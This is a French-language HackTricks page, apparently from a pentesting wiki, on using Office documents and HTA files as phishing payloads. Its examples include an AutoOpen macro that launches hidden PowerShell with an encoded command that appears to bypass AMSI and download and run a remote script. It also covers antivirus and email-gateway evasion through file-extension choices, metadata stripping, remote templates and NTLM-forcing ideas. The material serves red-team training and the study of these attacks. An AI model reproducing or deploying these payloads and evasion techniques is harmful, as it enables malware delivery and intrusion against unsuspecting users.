Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
Microsoft Word effectue une validation des données de fichier avant d'ouvrir un fichier. La validation des données est effectuée sous forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur se produit pendant l'identification de la structure des données, le fichier analysé ne sera pas ouvert.
Généralement, les fichiers Word contenant des macros utilisent l'extension .docm. Cependant, il est possible de renommer le fichier en changeant l'extension de fichier tout en conservant leurs capacités d'exécution de macro.
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et sera capable d'exécuter des macros.
Les mêmes internes et mécanismes s'appliquent à tous les logiciels de la suite Microsoft Office (Excel, PowerPoint, etc.).
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office:
assoc|findstr/i"word excel powerp"
Les fichiers DOCX faisant référence à un modèle distant (Fichier - Options - Compléments - Gérer : Modèles - Exécuter) qui inclut des macros peuvent également "exécuter" des macros.
Chargement d'image externe
Aller à : Insérer --> Parties rapides --> ChampCatégories : Liens et Références, Noms de champ : includePicture, et Nom de fichier ou URL : http://<ip>/whatever
Porte dérobée de macros
Il est possible d'utiliser des macros pour exécuter du code arbitraire à partir du document.
Fonctions d'auto-chargement
Plus elles sont courantes, plus il est probable que l'AV les détecte.
AutoOpen()
Document_Open()
Exemples de code de macros
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Supprimer manuellement les métadonnées
Allez dans Fichier > Informations > Inspecter le document > Inspecter le document, ce qui ouvrira l'Inspecteur de document. Cliquez sur Inspecter puis sur Supprimer tout à côté de Propriétés du document et informations personnelles.
Extension de document
Une fois terminé, sélectionnez Enregistrer sous type, changez le format de .docx en Word 97-2003 .doc.
Faites cela car vous ne pouvez pas enregistrer de macros à l'intérieur d'un fichier .docx et il y a une stigmatisationautour de l'extension de fichier macro activée .docm (par exemple, l'icône miniature affiche un grand ! et certains passerelles web/email les bloquent entièrement). Par conséquent, cette extension .doc héritée est le meilleur compromis.
Un fichier HTA est un programme Windows qui combine HTML et des langages de script (comme VBScript et JScript). Il génère l'interface utilisateur et s'exécute en tant qu'application "entièrement approuvée", sans les contraintes du modèle de sécurité d'un navigateur.
Un fichier HTA est exécuté en utilisant mshta.exe, qui est généralement installé avec Internet Explorer, rendant mshta dépendant d'IE. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter.
<--! Basic HTA Execution --><html><head><title>Hello World</title></head><body><h2>Hello World</h2><p>This is an HTA...</p></body><scriptlanguage="VBScript">Function Pwn()Set shell =CreateObject("wscript.Shell")shell.run "calc"End FunctionPwn</script></html>
Il existe plusieurs façons de forcer l'authentification NTLM "à distance", par exemple, vous pourriez ajouter des images invisibles aux e-mails ou au HTML que l'utilisateur accédera (même HTTP MitM ?). Ou envoyer à la victime l'adresse des fichiers qui déclencheront une authentification juste pour ouvrir le dossier.
Consultez ces idées et plus encore dans les pages suivantes:
Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!